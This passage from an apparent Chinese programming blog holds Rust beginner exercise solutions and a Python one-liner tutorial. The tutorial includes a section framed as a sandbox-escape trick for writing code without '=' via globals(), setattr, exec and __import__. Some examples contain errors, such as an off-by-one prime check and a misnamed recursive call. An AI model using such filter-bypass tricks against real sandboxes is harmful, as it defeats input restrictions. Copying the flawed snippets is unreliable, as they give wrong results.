leg.trim().parse().unwrap(); 12 13 if leg == 4 * head { 14 println!(\u0026#34;Only {head} rabbits.\u0026#34;); 15 return; 16 } else if leg == 2 * head { 17 println!(\u0026#34;Only {head} chickens.\u0026#34;); 18 return; 19 } else if leg \u0026lt; 2 * head || leg \u0026gt; 4 * head || leg % 2 != 0 { 20 println!(\u0026#34;No solution.\u0026#34;); 21 return; 22 } else { 23 let tmp = leg - head * 2; 24 let rabbit = tmp / 2; 25 let chicken = head - rabbit; 26 println!(\u0026#34;Rabbit: {}, Chicken: {}\u0026#34;, rabbit, chicken); 27 } 28 29} 从键盘输入一个n的值,输出斐波那契数列的前n项。已知菲波那切数列的第一项和第二项都为1,其余项为: $f(n)=f(n-1)+f(n-2)$。 input:\n5\noutput:\n1 1 2 3 5\ninput:\n2\noutput:\n1 1\n1use std::io::stdin; 2 3fn main() { 4 let mut n = String::new(); 5 stdin().read_line(\u0026amp;mut n).unwrap(); 6 let n: usize = n.trim().parse().unwrap(); 7 8 let mut fib = vec![1, 1]; 9 for i in 2..n { 10 fib.push(fib[i - 1] + fib[i - 2]); 11 } 12 13 let result = fib 14 .iter() 15 .map(|n| n.to_string()) 16 .collect::\u0026lt;Vec\u0026lt;String\u0026gt;\u0026gt;() 17 .join(\u0026#34; \u0026#34;); 18 println!(\u0026#34;{}\u0026#34;, result); 19} “今有物不知其数,三三数之剩二,五五数之剩三,七七数之剩二”问物几何。出自——孙子算经。 (有一个数,不知道是多少,但是它除3余数是2,除5余数是3,除7余数是2,问这个数是多少?)\n请输出满足条件的最小正整数:\n1fn main() { 2 let mut num = 0; 3 loop { 4 if num % 3 == 2 \u0026amp;\u0026amp; num % 5 == 3 \u0026amp;\u0026amp; num % 7 == 2 { 5 println!(\u0026#34;{num}\u0026#34;); 6 break; 7 } else { 8 num += 1; 9 } 10 } 11} 奇数偶数贩售机。创建一个程序,判断输入数据是奇数还是偶数, 并输出该数字后连续的9个奇数或偶数,例如:输入2,返回\u0026quot;Even\u0026quot;并输出2 4 6 8 10 12 14 16 18 输入1,返回\u0026quot;Odd\u0026quot;并输出1 3 5 7 9 11 13 15 17\ninput:\n2\noutput:\nEven\n2 4 6 8 10 12 14 16 18\ninput:\n3\noutput:\nOdd\n3 5 7 9 11 13 15 17 19\n1use std::io::stdin; 2 3fn main() { 4 let mut num = String::new(); 5 stdin().read_line(\u0026amp;mut num).unwrap(); 6 let num: i32 = num.trim().parse().unwrap(); 7 8 if num % 2 == 0 { 9 println!(\u0026#34;Even\u0026#34;); 10 } else { 11 println!(\u0026#34;Odd\u0026#34;); 12 } 13 let mut result: Vec\u0026lt;i32\u0026gt; = vec![]; 14 for i in 0..9 { 15 result.push(num + i * 2); 16 } 17 println!( 18 \u0026#34;{}\u0026#34;, 19 result 20 .iter() 21 .map(|n| n.to_string()) 22 .collect::\u0026lt;Vec\u0026lt;String\u0026gt;\u0026gt;() 23 .join(\u0026#34; \u0026#34;) 24 ); 25} 从键盘接收一个十进制整数,将十进制整数转换成二进制的形式输出。 example:\ninput:\n11\noutput:\n1011\ninput:\n100\noutput:\n1100100\n1use std::io::stdin; 2 3fn main() { 4 let mut num = String::new(); 5 stdin().read_line(\u0026amp;mut num).unwrap(); 6 let num: i32 = num.trim().parse().unwrap(); 7 println!(\u0026#34;{}\u0026#34;, format!(\u0026#34;{:b}\u0026#34;, num)); 8} 编写一个程序,实现如下功能:从键盘读入一个数据n,输出一个n行n列的列表:对第i行和第j列位置,如果i和j的最大公约数是1(即i和j互素),则输出“*”号,其他位置输出“#”号。每打印n个符号后,换行输出新的符号。 1example: 2 3Input: 44 5output: 6**** 7*#*# 8**#* 9*#*# 10 11input: 127 13output: 14******* 15*#*#*#* 16**#**#* 17*#*#*#* 18****#** 19*###*#* 20******# 1use std::io::stdin; 2 3fn gcd(a: i32, b: i32) -\u0026gt; i32 { 4 if b == 0 { 5 a 6 } else { 7 gcd(b, a % b) 8 } 9} 10 11fn main() { 12 let mut num = String::new(); 13 stdin().read_line(\u0026amp;mut num).unwrap(); 14 let num: i32 = num.trim().parse().unwrap(); 15 for i in 0..num { 16 let mut row = String::new(); 17 for j in 0..num { 18 if gcd(i + 1, j + 1) == 1 { 19 row.push(\u0026#39;*\u0026#39;); 20 } else { 21 row.push(\u0026#39;#\u0026#39;); 22 } 23 } 24 println!(\u0026#34;{}\u0026#34;, row); 25 } 26} 使用泰勒级数展开是计算正弦函数,展开式的最后一项精度不超过1e-10。其中正弦函数的展开式为: $$ sinx=x-\\frac{x^3}{3!}+\\frac{x^5}{5!}-\\cdots $$\n从键盘输入一个x(x为浮点数),计算x的正弦函数,结果保留小数位数2位(此题不要纠结,数位精度不对也可认为正确)。\nexample:\ninput:\n0.5\noutput:\n0.48\ninput:\n1\noutput:\n0.84\n1use std::io::stdin; 2 3fn main() { 4 let mut x = String::new(); 5 stdin().read_line(\u0026amp;mut x).unwrap(); 6 let x: f64 = x.trim().parse().unwrap(); 7 8 let mut n: f64 = 1.0; 9 let mut sinx: f64 = 0.0; 10 11 loop { 12 let mut fac_n = 1.0; 13 for i in 1..(n + 1.0) as i32 { 14 fac_n *= i as f64; 15 } 16 if x.powf(n) / fac_n \u0026gt; 1e-10 { 17 if (n - 1.0) % 4.0 == 0.0 { 18 sinx += x.powf(n) / fac_n; 19 } else { 20 sinx -= x.powf(n) / fac_n; 21 } 22 } else { 23 break; 24 } 25 n += 2.0; 26 } 27 28 println!(\u0026#34;{:.2}\u0026#34;, sinx); 29} 输入一个大于等于2的整数,判断其是素数还是不是素数,是素数输出True,否则输出False。 input:\n8\noutput:\nFalse\ninput:\n19\noutput:\nTrue\n1use std::io::stdin; 2 3fn main() { 4 let mut num = String::new(); 5 stdin().read_line(\u0026amp;mut num).unwrap(); 6 let num = num.trim().parse::\u0026lt;i32\u0026gt;().unwrap(); 7 8 println!(\u0026#34;{}\u0026#34;, is_prime(num).to_string()); 9} 10 11fn is_prime(n: i32) -\u0026gt; bool { 12 if n \u0026lt;= 1 { 13 return false; 14 } else if n == 2 { 15 return true; 16 } else { 17 for i in 2..(n as f64).sqrt() as i32 { 18 if n % i == 0 { 19 return false; 20 } 21 } 22 return true; 23 } 24} 从键盘读入一个数n,输出小于或等于n的所有素数的个数。 example\ninput:\n100\noutput:\n25\ninput:\n200\noutput:\n46\n1use std::io::stdin; 2 3fn is_prime(n: i32) -\u0026gt; bool { 4 if n \u0026lt;= 1 { 5 return false; 6 } else if n == 2 { 7 return true; 8 } else { 9 for i in 2..(n as f64).sqrt() as i32 + 1 { 10 if n % i == 0 { 11 return false; 12 } 13 } 14 return true; 15 } 16} 17 18fn main() { 19 let mut count = 0; 20 let mut num = String::new(); 21 stdin().read_line(\u0026amp;mut num).expect(\u0026#34;Failed to read line\u0026#34;); 22 let num: i32 = num.trim().parse().expect(\u0026#34;Failed to parse number\u0026#34;); 23 24 for i in 2..num + 1 { 25 if is_prime(i) { 26 count += 1; 27 } 28 } 29 30 println!(\u0026#34;{count}\u0026#34;); 31} 从键盘输入一个正整数n,输出小于n的所有与其互素的数的个数。(即求(n)的值)。例如:与10互素的数为:9,7,3,1一共4个。 example:\ninput:\n10\noutput:\n4\ninput:\n9\noutput:\n6\n1use std::io::stdin; 2 3fn gcd(a: i32, b: i32) -\u0026gt; i32 { 4 if b == 0 { 5 return a; 6 } 7 return gcd(b, a % b); 8} 9 10fn main() { 11 let mut count = 0; 12 let mut num = String::new(); 13 stdin().read_line(\u0026amp;mut num).expect(\u0026#34;Failed to read line\u0026#34;); 14 let num: i32 = num.trim().parse().expect(\u0026#34;Failed to parse number\u0026#34;); 15 16 for i in 1..num { 17 if gcd(i, num) == 1 { 18 count += 1; 19 } 20 } 21 22 println!(\u0026#34;{count}\u0026#34;); 23} 从键盘接受一个正整数n,生成一个由1~n的数组。输出一个数组,数组中的每个元素为与前面数组中小于自身的互素的数的个数。 example:\ninput:\n10\noutput:\n[0, 1, 2, 2, 4, 2, 6, 4, 6, 4]\ninput:\n20\noutput:\n[0, 1, 2, 2, 4, 2, 6, 4, 6, 4, 10, 4, 12, 6, 8, 8, 16, 6, 18, 8]\n1use std::io::stdin; 2 3fn gcd(a: i32, b: i32) -\u0026gt; i32 { 4 if b == 0 { 5 return a; 6 } 7 return gcd(b, a % b); 8} 9 10fn judge(n: i32) -\u0026gt; i32 { 11 let mut result = 0; 12 for i in 0..n { 13 if gcd(i, n) == 1 { 14 result += 1; 15 } 16 } 17 return result; 18} 19 20fn main() { 21 let mut num = String::new(); 22 stdin().read_line(\u0026amp;mut num).expect(\u0026#34;Failed to read line\u0026#34;); 23 let n: i32 = num.trim().parse().expect(\u0026#34;Failed to parse input\u0026#34;); 24 25 let mut result: Vec\u0026lt;i32\u0026gt; = Vec::from([0]); 26 for i in 2..n + 1 { 27 result.push(judge(i)); 28 } 29 30 println!(\u0026#34;{result:?}\u0026#34;); 31} 从键盘输入一个n,打印一个等腰三角形。 1input: 24 3output: 4 * 5 *** 6 ***** 7******* 8 9input: 107 11output: 12 * 13 *** 14 ***** 15 ******* 16 ********* 17 *********** 18************* 1use std::io::stdin; 2 3fn main() { 4 let mut n = String::new(); 5 stdin().read_line(\u0026amp;mut n).expect(\u0026#34;Failed to read line\u0026#34;); 6 let n: i32 = n.trim().parse().expect(\u0026#34;Failed to parse input\u0026#34;); 7 8 let asterisk: \u0026amp;str = \u0026#34;*\u0026#34;; 9 let space: \u0026amp;str = \u0026#34; \u0026#34;; 10 11 for i in 1..n + 1 { 12 println!( 13 \u0026#34;{}{}\u0026#34;, 14 space.repeat((n - i) as usize), 15 asterisk.repeat((2 * i - 1) as usize) 16 ) 17 } 18} 从键盘输入一个n,打印如下图形。 1input: 24 3output: 4 * 5 *** 6 ***** 7******* 8 ***** 9 *** 10 * 11 12input: 133 14output: 15 * 16 *** 17***** 18 *** 19 * 1use std::io::stdin; 2 3fn main() { 4 let mut n = String::new(); 5 stdin().read_line(\u0026amp;mut n).expect(\u0026#34;Failed to read line\u0026#34;); 6 let n: i32 = n.trim().parse().expect(\u0026#34;Failed to parse input\u0026#34;); 7 8 let asterisk: \u0026amp;str = \u0026#34;*\u0026#34;; 9 let space: \u0026amp;str = \u0026#34; \u0026#34;; 10 11 for i in 1..n + 1 { 12 println!( 13 \u0026#34;{}{}\u0026#34;, 14 space.repeat((n - i) as usize), 15 asterisk.repeat((2 * i - 1) as usize) 16 ) 17 } 18 19 for i in (1..n).rev() { 20 println!( 21 \u0026#34;{}{}\u0026#34;, 22 space.repeat((n - i) as usize), 23 asterisk.repeat((2 * i - 1) as usize) 24 ) 25 } 26} 从键盘接收一个n,用来确定数组包含的元素个数。并循环读入n个数字字符,将其转换成int型数据,存储在数组中。编写一个程序,让数组中,相邻的两位进行比较,并将比较大的数字交换到后面的位置,将数组中相邻的两位依次比较,确保经过一轮比较后,数组中最大的数字放在索引为n-1的位置上。输出此时最大值在索引最大位置上的数组。 example:\ninput:\n5\n3\n7\n6\n4\n2\noutput:\n[3, 6, 4, 2, 7]\n1use std::io::stdin; 2 3fn main() { 4 let mut n = String::new(); 5 stdin().read_line(\u0026amp;mut n).expect(\u0026#34;Failed to read line\u0026#34;); 6 let n: i32 = n.trim().parse().expect(\u0026#34;Failed to parse input\u0026#34;); 7 8 let mut nums: Vec\u0026lt;i32\u0026gt; = Vec::new(); 9 for _ in 0..n { 10 let mut k = String::new(); 11 stdin().read_line(\u0026amp;mut k).expect(\u0026#34;Failed to read line\u0026#34;); 12 let k: i32 = k.trim().parse().expect(\u0026#34;Failed to parse input\u0026#34;); 13 nums.push(k); 14 } 15 16 for i in 0..n - 1 { 17 if nums[i as usize] \u0026gt; nums[(i + 1) as usize] { 18 nums.swap(i as usize, (i + 1) as usize); 19 } 20 } 21 22 println!(\u0026#34;{:?}\u0026#34;, nums) 23} 从键盘接收一个n,代表当前数组中包含的元素个数。依次从键盘读入n个数据,并转换成int型,保存在数组中。按照上题的方法整理数组中的元素,将数组中元素整理为从小到大有序的数组输出。(注:不允许使用内置的排序函数,或方法) input:\n5\n3\n7\n6\n4\n2\noutput:\n[2, 3, 4, 6, 7]\n1use std::io::stdin; 2 3fn main() { 4 let mut n = String::new(); 5 stdin().read_line(\u0026amp;mut n).expect(\u0026#34;Failed to read line\u0026#34;); 6 let n: i32 = n.trim().parse().expect(\u0026#34;Failed to parse input\u0026#34;); 7 8 let mut nums: Vec\u0026lt;i32\u0026gt; = Vec::new(); 9 for _ in 0..n { 10 let mut k = String::new(); 11 stdin().read_line(\u0026amp;mut k).expect(\u0026#34;Failed to read line\u0026#34;); 12 let k: i32 = k.trim().parse().expect(\u0026#34;Failed to parse input\u0026#34;); 13 nums.push(k); 14 } 15 16 for i in 0..n - 1 { 17 for j in i + 1..n { 18 if nums[i as usize] \u0026gt; nums[j as usize] { 19 nums.swap(i as usize, j as usize); 20 } 21 } 22 } 23 24 println!(\u0026#34;{:?}\u0026#34;, nums); 25} 从键盘接收一个m,代表二维数组的行数,再从键盘接收一个n,代表二维数组的列数。利用循环读入二维数组所有的数值,并转换为int类型,存在数组中。输出该二维数组。 example:\ninput:\n2\n3\n1\n4\n7\n2\n5\n8\noutput:\n[[1, 4, 7], [2, 5, 8]]\n1use std::io::stdin; 2 3fn main() { 4 let mut row = String::new(); 5 let mut col = String::new(); 6 7 stdin().read_line(\u0026amp;mut row).expect(\u0026#34;Failed to read row\u0026#34;); 8 stdin().read_line(\u0026amp;mut col).expect(\u0026#34;Failed to read col\u0026#34;); 9 10 let row: i32 = row.trim().parse().expect(\u0026#34;Invalid row input\u0026#34;); 11 let col: i32 = col.trim().parse().expect(\u0026#34;Invalid col input\u0026#34;); 12 13 let mut mat: Vec\u0026lt;Vec\u0026lt;i32\u0026gt;\u0026gt; = Vec::new(); 14 let mut input = String::new(); 15 16 for _i in 0..row { 17 let mut row_vec: Vec\u0026lt;i32\u0026gt; = Vec::new(); 18 for _j in 0..col { 19 input.clear(); 20 stdin().read_line(\u0026amp;mut input).expect(\u0026#34;Failed to read input\u0026#34;); 21 let num: i32 = input.trim().parse().expect(\u0026#34;Invalid input\u0026#34;); 22 row_vec.push(num); 23 } 24 mat.push(row_vec); 25 } 26 27 println!(\u0026#34;{:?}\u0026#34;, mat); 28} ","link":"https://jackgdn.github.io/post/rust/","section":"post","tags":["Rust"],"title":"Rust 练习(一)"},{"body":"","link":"https://jackgdn.github.io/tags/python/","section":"tags","tags":null,"title":"Python"},{"body":"","link":"https://jackgdn.github.io/categories/python/","section":"categories","tags":null,"title":"Python"},{"body":"前面两篇笔记里介绍的内容都不过是开胃小菜,这一篇笔记里记录的才是硬菜,写一句话代码时真正实用的技巧。\nlambda 匿名函数 lambda 关键字的用法如下 lambda [parameters]: expression,其中 expression 的结果直接作为返回值。这一结构决定了:\nlambda 定义的匿名函数中只能有一个表达式 lambda 定义的匿名函数一定有返回值 下面是一个 lambda 的使用示例: 1print(list(map(lambda x: x + 1, [1, 1, 4, 5, 1, 4]))) 2 3# output: [2, 2, 5, 6, 2, 5] lambda函数经常与 map() 函数及其他需要以函数作为为参数的函数共同使用,用于提高代码的简洁性与灵活性。因为 lambda 会创建一个函数,这个匿名函数也可以使用常规的 function([parameters]) 的方式调用:\n1print((lambda x: [i + 1 if i % 2 else i for i in x])([1, 1, 4, 5, 1, 4])) 2 3# output: [2, 2, 4, 6, 2, 4] 在上面这个例子中,x 为匿名函数的形式参数,后面的列表 [1, 1, 4, 5, 1, 4] 是传入函数的实际参数。\n另外,尽管 PEP8 标准不建议将 lambda 创建的匿名函数作为一个“右值”,但是这样做并不算是语法错误。就像下面这样:\n1f = lambda x, n: x ** n 2print(f(3, 3)) 3 4# output: 27 这段代码就相当于\n1def f(x, n): 2\treturn x ** n 3 4print(f(3, 3)) 5 6# output: 27 前文提到,lambda 创建的匿名函数有两条限制,即只能有一条表达式和一定有返回值。但是实际上,这两条限制可以使用一些部分技巧规避掉。在 Python 中,如果有多条表达式被放到一个元组中,那么这些表达式会被依次执行。\n1S = (lambda s: (print(s.lower()), s.upper())[-1])(\u0026#34;JackGDN\u0026#34;) 2print(S) 3 4# output: 5# jackgdn 6# JACKGDN 在上面这个例子中,print(s.lower()) 和 s.upper() 这两个表达式被依次放置于一个元组中,因此这两条语句会被依次执行,而这个匿名函数的返回值为元组的最后一个元素,即 s.upper() 的计算结果。通过这个方法,我们可以实现将多条表达式放进一个匿名函数中。在另一些情况中,我们不需要函数有返回值(例如 __init__() 方法),也可以使用类似的结构。\n1lst = [1, 2, 3] 2(lambda lst: (print(lst), lst.append(4), None)[-1])(lst) 3print(lst) 4 5# output: 6# [1, 2, 3] 7# [1, 2, 3, 4] 只需将最后的返回值设为 None 即可。\n通过 lambda 匿名函数,配合在前文中了解到的内容,我们可以解决一些有趣的问题。\n从键盘输入一个n,代表方阵的阶,依次读入n行由空格和数字字符组成的字符串,将字符串中的每个数字字符转换成整形数据,存成方阵的一行,如果输入的数字字符数目少于n个,以0补足,如果超过n个,截取前n位。输出该方阵与其转置矩阵相乘后得到的新矩阵。 example: input: 5 3 2 1 7 6 8 11 2 4 12 5 4 3 1 7 6 5 1 output: [[99, 155, 19, 38, 3], [155, 310, 54, 109, 11], [19, 54, 26, 51, 4], [38, 109, 51, 110, 7], [3, 11, 4, 7, 1]]\n这道题的一行代码写法如下:\n1( 2 lambda order: print( 3 *list( 4 map( 5 lambda matrix: [ 6 [ 7 sum([a * b for a, b in zip(matrix[i], matrix[j])]) 8 for j in range(order) 9 ] 10 for i in range(order) 11 ], 12 [ 13 [ 14 list(list(map(int, input().strip().split(\u0026#34; \u0026#34;))) + [0] * order)[ 15 :order 16 ] 17 for _ in range(order) 18 ] 19 ], 20 ) 21 ) 22 ) 23)(int(input())) 使用递归实现 while 循环 一切 while 循环都能够改写为递归形式。因为 while 循环不支持一行写法,因此只能通过函数递归调用,并结合 lambda 实现一行写法。例如说:\n1index = 0 2summ = 0 3lst = [1, 1, 4, 5, 1, 4, 1, 9, 1, 9, 8, 10] 4while index \u0026lt; len(lst) and summ \u0026lt; 33: 5\tsumm += lst[index] 6\tindex += 1 7print(summ) 8 9# output: 36 将这个 while 循环改写为递归函数,就可以得到下面的代码:\n1def recursive_sum(lst=[1, 1, 4, 5, 1, 4, 1, 9, 1, 9, 8, 10], index=0, summ=0): 2\tif summ \u0026gt;= 33 or index \u0026gt;= len(lst): 3\treturn summ 4\telse: 5\treturn recursive_sum(lst, index + 1, summ + lst[index]) 6print(recursive_sum()) 7 8# output: 36 随后将 if 语句改写为一个三元运算符:\n1def recursive_sum(lst=[1, 1, 4, 5, 1, 4, 1, 9, 1, 9, 8, 10], index=0, summ=0): 2\treturn summ if summ \u0026gt;= 33 or index \u0026gt;= len(lst) else recursive_sum(lst, index + 1, summ + lst[index]) 3print(recursive_sum()) 4# output: 36 最后使用 lambda 就可以将这些内容写进一行了。\n1print((recursive := lambda lst=[1, 1, 4, 5, 1, 4, 1, 9, 1, 9, 8, 10], index=0, summ=0: summ if summ \u0026gt;= 33 or index \u0026gt;= len(lst) else recursive_sum(lst, index + 1, summ + lst[index]))()) 2 3# output: 36 不过需要注意,Python3 默认的递归深度为 1000。虽然这个限制可以通过 sys.setrecursionlimit()函数修改,但是太多层递归函数很有可能把你的 CPU 干破防(物理)。\n这里出现了一个奇怪的 := ,这就是接下来要提到的海象运算符。\n海象运算符 Python 中的代码有语句与表达式之分。一般来说,表达式可以被计算为一个值,而语句则用于执行每一个操作。例如说,3 \u0026gt; 1、{1, 2} | {2, 3} 是表达式,因为这他们分别可以被计算为 True 和 {1, 2, 3}。而 if 3 \u0026gt; 1 则是条件语句,a = {1, 2} | {2, 3} 是赋值语句。\n前文提到,将多个表达式翻到一个元组中,这些表达式会依次执行。而海象运算符,就是将赋值语句变成赋值表达式执行。因此,海象运算符有以下使用场景:\n1for i in range(num := 3): 2\tprint(i, num) 3 4# outut: 5# 0 3 6# 1 3 7# 2 3 或者\n1import random 2print(num if (num := random.randint(-5, 5)) \u0026gt; 0 else 0) # 注意海象运算符使用的位置,并且一定加括号 3 4# output:2 对于“一行代码”来说,最有用的还是放到 lambda 中执行:\n1print((lambda x: (print(x), x := x + 4)[-1])(3)) 2 3# output: 4# 3 5# 7 目前来说,海象运算符有诸多限制:\n只能在 Python 3.8 及更高版本使用 不能直接当做赋值语句 不能重载(和等号一样) 不能写到推导式里,a = [i for i in range(x := 3)] 错! 不能用于给可迭代对象的切片赋值,a[3] := 3 错! 不能用于给类的属性赋值,myClass.myAttribute := 3 错! 不能直接写到 lambda 匿名函数里,lambda x: x := 3 错!应该写成 lambda x: (x := 3) 这样写到元组里。这不是因为没加括号导致的语法解析错误,单纯是因为不能直接把赋值表达式写进匿名函数。 假如没有等号……(这是一个沙箱逃逸技巧) 前文提到,海象运算符在 Python 3.8 中加入。如果没有海象运算符,那么应该怎么办呢?我不禁思考,如果赋值不需要等号,那么岂不是写 Python 代码就不需要等号了?在使用 Python 写代码时,有以下情况会使用到 = 这个字符:\n赋值运算符,=、+=、-=、*=、/=、**=、//= 和 %= 比较运算符,==、\u0026gt;=、\u0026lt;=、!= 海象运算符,:= 字符串 定义带有默认值参数的函数 调用带有默认值参数或关键字参数的函数 我们将这些等号按照从易到难的顺序逐条去除。\n海象运算符 不用海象运算符就好了,毕竟你也不会用到的。海象运算符的最大贡献就是将赋值语句变成了赋值表达式,而下面我会介绍另一种通过调用函数和方法的表达式取代赋值运算符的方法。\n字符串 等号的 ASCII 码为 61,只需要将字符串中所有需要等号的部分使用 chr(61) 替代即可。\n比较运算符 既然比较运算符都是可以重载的,那么我不妨直接使用魔法方法 __eq__()、__ge__()、__le__() 和 __ne__() 取代四种带有等号的比较运算符。\n调用带有默认值参数和关键字参数的函数 调用这两种函数时,需要将格式类似于 parameter=value 的参数传入。在 Python 中,可以将字典解包得到这种参数和值的对应关系。例如执行 sorted([1, 3, 2, 4], **{'reverse': True}) 这行代码就可以得到 [4, 3, 2, 1] 的结果。\n定义带有默认值参数的函数 目前来说,这里出现的等号没有合适的办法去除,因为函数定义的时候不能使用解包字典的操作,换句话说,使用等号是定义默认值参数的唯一方法。对于这个问题比较好的解决方法是,不要使用默认值参数,而是使用可变参数 *args 和关键字参数 **kwargs 替代。\n赋值运算符 赋值运算符不可以被重载,但是有别的办法避免使用等号赋值。首先需要说明的是,和海象运算符一样,+=、-=、*=、/=、//=、**= 和 %= 都是“非必须”的,即他们都可以使用 = 替代,这样我们唯一需要思考的就是替换掉单独的 =。Python 中提供了两个内置函数 globals() 和 locals(),这两个函数的返回值分别为存储全局变量和局部变量的字典。因此想要进行依次赋值运算,只需更新字典的内容。例如我想定义 a = 3,就可以使用 globals().update({'a': 3}) 来规避等号。此外,在一个类中,所有的属性都存储在 __dict__ 属性中,使用 self.__dict__.update({'a': 3}) 来取代 self.a = 3。\n想要去除等号,有一种终极方法,就是使用 exec() 函数 ;=)\n__setitem__() 与 __getitem__() 函数 刚才提到了不使用等号完成赋值操作的方法,但是上面那种方法也有问题。例如对于下面这段代码:\n1lst = [1, 1, 4, 5, 1, 4] 2for i, num in enumerate(lst): 3\tif num % 2: 4\tlst[i] += 1 5print(lst) 6 7# output: [2, 2, 4, 6, 2, 4] 我们试着一行行将上面这段代码中的等号去除。\n1globals().update({\u0026#39;lst\u0026#39;: [1, 1, 4, 5, 1, 4]}) 2for i, num in enumerate(lst): 3\tif num % 2: 4\t... 不对,我们是要修改 lst 的第 i 个值,必须要精确定位到这个位置,那么再使用 globals().update() 就显得力不从心了。于是有了 __getitem__() 方法和 __setitem__() 方法。这两个方法是用于实现切片功能的,例如 lst[i] = lst[i] + 1 实际上执行的是 lst.__setitem__(i, lst.__getitem__(i) + 1)。因此将上面那段代码补全之后就是\n1globals().update({\u0026#39;lst\u0026#39;: [1, 1, 4, 5, 1, 4]}) 2for i, num in enumerate(lst): 3\tif num % 2: 4\tlst.__setitem__(i, num + 1) 5print(lst) 6 7# output: [2, 2, 4, 6, 2, 4] 前文还提到,海象运算符“不能用于给可迭代对象的切片赋值”,所以我们不妨用 a.__setitem__(3, 3) 来取代 a[3] := 3。\nsetattr() 与 getattr() 函数 前文提到,globals() 和 locals() 函数分别以字典形式返回 Python 的全局变量和局部变量。那么问题来了,一个类中的属性应该存储到那里呢?\n答案是,以上两个都不是。基类 object 中有一个 __dict__ 属性,类中所有的属性(除了它自己)都会以字典形式存储在这个 __dict__ 属性中。因此使用 myObject.__dict__.update({'value': myObject.__dict__['value'] + 1}) 替代 myObject.value += 1 是可行的……\n不过我们有更简便的方法,及使用 setattr() 函数与 getattr() 函数。例如 setattr(myObject, 'value', getattr(myObject, 'value', -1) + 1)(getattr() 函数的第三个参数为默认值,当类中不存在某个属性时则返回该默认值,可省略)就可以用来取代 myObject.value = myObject.value + 1 if hasattr(myObject, 'value') else 0\n同理,使用 setattr() 函数和 getattr() 函数也可以解决海象运算符无法对属性赋值的问题。\n此外,setattr() 函数也可以动态向类中添加方法,这一点我们未来会在描述符协议中再提。\ntype() 函数动态创建类 大多数人都知道使用 class 关键字可以创建类,也知道 type() 函数可以用于查看对象类型,但是不知道 type() 函数同样可以创建类。type() 函数创建类的语法如下:\n1class type(name: str, bases: tuple, dict: dict, **kwds: dict) 其中 name 类的名称,bases 为继承的父类,dict 为类的属性和方法,*kwds 为额外参数,一般只有在定义元类时才会使用(使用 class 关键字定义一个类时也有这个参数,大多数情况下,直接继承自元类 type 时才会使用这个参数)。\n使用示例:\n1class A: 2 3\tdef __init__(self, value): 4\tself.value = value + 1 5 6\tdef echo(self): 7\tprint(self.value) 8 9 10a = A(int(input())) 11a.echo() 12 13# input: 13 14# output: 14 就可以写成\n1(lambda A: A(int(input())).echo())( 2 type( 3 \u0026#34;A\u0026#34;, 4 (object,), 5 { 6 \u0026#34;__init__\u0026#34;: lambda self, value: setattr(self, \u0026#34;value\u0026#34;, value + 1), 7 \u0026#34;echo\u0026#34;: lambda self: print(self.value), 8 }, 9 ) 10) # 这其实是一行代码,为了直观展现其结构,将其格式化。 11 12# input: 13 13# output: 14 名称重整机制 在我初学 Python 时,老师便告诉我们,在定义类时,在属性或者方法名前加两条下划线,就可以将其定义为私有属性/方法,无法在外部访问。但是事实真的如此吗?请看下面的代码:\n1class AClass: 2 3 def __init__(self, value): 4 self.__value = value 5 6 def __echo(self): 7 print(self.__value) 8 9 10a = AClass(10) 11a._AClass__value = 20 12a._AClass__echo() 13 14 15# output: 20 a 中的私有属性 __value 被从外部修改了,__echo() 方法也能够从外部调用,原因就是 Python 会将类中的私有方法和私用重命名成类似于上面 _AClass__value、_AClass__echo() 的样子。\n__import__() 函数动态导入模块 __import__() 函数可以动态导入库,能够用于取代独占一行的 import 关键字。该函数的定义如下:\n1__import__(name: str, globals: dict=None, locals: dict=None, fromlist: list=(), level: int=0) 该函数的返回值为模块对象。一般情况下,我们只会用到 name 参数,使用方法为 __import__('time').time()。\n使用生成器对象的 throw() 方法取代 raise 关键字 如果你想 raise 一个异常,但又不想多占用一行,就可以写一个 (_ for _ in ()).throw(Exception),前面的推导式可随意填写。不过 try-except-finally 的异常处理语句目前还没有办法压缩至一行。\n实战训练:\n将这段代码压缩进一行:\n1def binary_search(numbers, value): 2 max_index = len(numbers) - 1 3 min_index = 0 4 while min_index \u0026lt;= max_index: 5 mid_index = (min_index + max_index) // 2 6 if numbers[mid_index] == value: 7 return mid_index 8 elif numbers[mid_index] \u0026lt; value: 9 min_index = mid_index + 1 10 else: 11 max_index = mid_index - 1 12 return -1 13 14 15numbers = [10, 15, 20, 27, 41, 69] 16print(binary_search(numbers, 69)) 17 18numbers = [13, 18, 54, 61, 78, 93] 19print(binary_search(numbers, 10)) 20 21# output: 22# 5 23# -1 首先将 while 循环改写为一个递归函数:\n1def binary_search(numbers, value): 2 max_index = len(numbers) - 1 3 min_index = 0 4 5 def my_while(min_index, max_index, numbers, value): 6 if min_index \u0026lt;= max_index: 7 mid_index = (min_index + max_index) // 2 8 if numbers[mid_index] == value: 9 return mid_index 10 elif numbers[mid_index] \u0026lt; value: 11 return my_while(mid_index + 1, max_index, numbers, value) 12 else: 13 return my_while(min_index, mid_index - 1, numbers, value) 14 else: 15 return -1 16 17 res = my_while(min_index, max_index, numbers, value) 18 return res 19 20 21numbers = [10, 15, 20, 27, 41, 69] 22print(binary_search(numbers, 69)) 23 24numbers = [13, 18, 54, 61, 78, 93] 25print(binary_search(numbers, 10)) 随后将这个递归函数压缩至一行:\n1def binary_search(numbers, value): 2 max_index = len(numbers) - 1 3 min_index = 0 4 5 my_while = lambda min_index, max_index, numbers, value: ( 6 -1 7 if min_index \u0026gt; max_index 8 else ( 9 (min_index + max_index) // 2 10 if numbers[(min_index + max_index) // 2] == value 11 else ( 12 my_while((min_index + max_index) // 2 + 1, max_index, numbers, value) 13 if numbers[(min_index + max_index) // 2] \u0026lt; value 14 else my_while( 15 min_index, (min_index + max_index) // 2 - 1, numbers, value 16 ) 17 ) 18 ) 19 ) 20 21 res = my_while(min_index, max_index, numbers, value) 22 return res 23 24 25numbers = [10, 15, 20, 27, 41, 69] 26print(binary_search(numbers, 69)) 27 28numbers = [13, 18, 54, 61, 78, 93] 29print(binary_search(numbers, 10)) 随后再将整个 binary_search() 函数体压缩为一行:\n1def binary_search(numbers, value): 2 3 return ( 4 my_while := lambda min_index, max_index, numbers, value: ( 5 -1 6 if min_index \u0026gt; max_index 7 else ( 8 (min_index + max_index) // 2 9 if numbers[(min_index + max_index) // 2] == value 10 else ( 11 my_while( 12 (min_index + max_index) // 2 + 1, max_index, numbers, value 13 ) 14 if numbers[(min_index + max_index) // 2] \u0026lt; value 15 else my_while( 16 min_index, (min_index + max_index) // 2 - 1, numbers, value 17 ) 18 ) 19 ) 20 ) 21 )(0, 